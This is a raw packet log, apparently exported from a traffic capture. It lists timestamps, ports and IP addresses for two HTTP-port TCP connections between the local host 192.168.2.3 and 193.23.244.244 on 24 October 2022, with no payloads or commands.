Oct 24, 2022 11:09:03.062525034 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062542915 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062561989 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062578917 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.062582970 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062599897 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062612057 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.062618017 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062634945 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062652111 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062670946 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062671900 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.062671900 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.062695026 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062706947 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.062716007 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062745094 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.062746048 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062764883 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062794924 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.067491055 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.067553043 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.067570925 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.067589045 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.067606926 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.067625046 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.067643881 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.067662954 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.067679882 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.067697048 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.067714930 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.067722082 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.067733049 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.067750931 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.067768097 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.067786932 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.067804098 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.067821026 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.067833900 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.067840099 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.067879915 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.074209929 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.074260950 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.074323893 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.075191975 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.075223923 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.075241089 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.075258017 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.075275898 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.075294018 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.075320005 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.075325966 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.075397015 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.075438023 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.075457096 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.075474977 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.075495005 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.075514078 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.075521946 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.075536013 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.075555086 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.075565100 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.075576067 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.075588942 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.075592995 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.075611115 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.075628996 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.075630903 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.075647116 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.075674057 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.075704098 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.529469967 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.556859016 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.556994915 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.559454918 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.587487936 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.587614059 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.587642908 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.587682962 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.587687969 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.587702990 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.587735891 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.587739944 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.587759972 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.587778091 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.587796926 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.587810040 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.587815046 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.587835073 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.587840080 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.587903023 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.615293980 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.615328074 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.615349054 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.615370989 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.615391016 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.615411997 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.615432978 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.615441084 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.615449905 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.615470886 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.615487099 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.615494013 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.615515947 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.615535975 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.615547895 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.615560055 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.615571976 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.615581989 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.615602970 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.615617037 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.615623951 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.615657091 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.642996073 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.643086910 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.643151999 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.643151999 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.643205881 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.643213987 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.643277884 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.643332005 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.643337965 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.643400908 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.643454075 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.643459082 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.643516064 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.643563986 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.643572092 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.643625021 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.643676043 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.643677950 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.643738031 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.643785954 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.643790960 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.643846035 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.643898010 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.643906116 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.643949032 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.643987894 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.643994093 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.644027948 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.644071102 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.644074917 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.644110918 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.644161940 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.650408983 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.650814056 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.671350002 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671382904 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671401024 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671441078 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671441078 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.671459913 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671493053 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.671494007 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671514988 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671538115 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.671547890 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671566010 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671591997 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.671602011 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671618938 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671643972 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.671653032 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671670914 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671686888 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671717882 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.671719074 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671739101 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671752930 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.671771049 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671792030 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.671804905 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671823978 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671849966 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.671858072 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671879053 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671904087 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.671925068 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671951056 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.671976089 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.671993017 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.672019005 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.672039986 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.672063112 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.672087908 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.672106981 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.672131062 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.672154903 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.672182083 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.672202110 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.672228098 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.672250986 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.672270060 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.672296047 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.672319889 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.699563026 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.699596882 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.699645042 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.699681997 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.699728966 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.699743032 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.699763060 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.699781895 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.699800968 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.699815035 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.699820042 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.699839115 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.699841976 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.699856997 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.699875116 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.699891090 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.699892044 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.699913979 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.700965881 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.700984955 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.701001883 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.701015949 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.701020002 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.701040030 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.701050997 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.701059103 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.701078892 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.701692104 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.701714993 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.701734066 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.701752901 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.701757908 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.701771021 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.701790094 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.701796055 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.701811075 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.701829910 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.701831102 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.701848030 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.701853037 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.701867104 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.701884985 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.701885939 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.701904058 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.701916933 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.701922894 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.701941967 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.701961040 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.701961994 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.701982021 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.701996088 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.702001095 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.702020884 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.702033997 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.702040911 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.702060938 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.702075005 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.702080011 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.702097893 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.702116013 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.702117920 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.702136040 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.702153921 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.702156067 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.702191114 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.702251911 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.702311993 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.702347040 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.702347994 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.702368975 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.702388048 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.702402115 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.727139950 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.727181911 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.727210045 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.727210045 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.727230072 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.727253914 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.727258921 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.727281094 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.727308035 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.727332115 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.727350950 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.727359056 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.727377892 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.727391005 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.727410078 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.727418900 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.727437973 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.727458954 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.727468967 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.727508068 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.728085995 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.728107929 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.728132010 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.728157997 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.728158951 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.728178978 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.728204012 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.728209019 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.728267908 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.729163885 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729186058 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729206085 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729235888 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729237080 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.729259968 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729279995 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729300976 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.729305983 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729329109 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729347944 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.729357004 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729377985 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729398012 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.729404926 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729429007 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.729430914 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729454994 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729480028 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729482889 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.729505062 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729520082 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.729530096 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729549885 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729572058 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.729574919 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729597092 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729619026 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.729620934 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729648113 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729666948 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.729672909 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729693890 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729717016 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729720116 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.729741096 CEST	80	49701	193.23.244.244	192.168.2.3
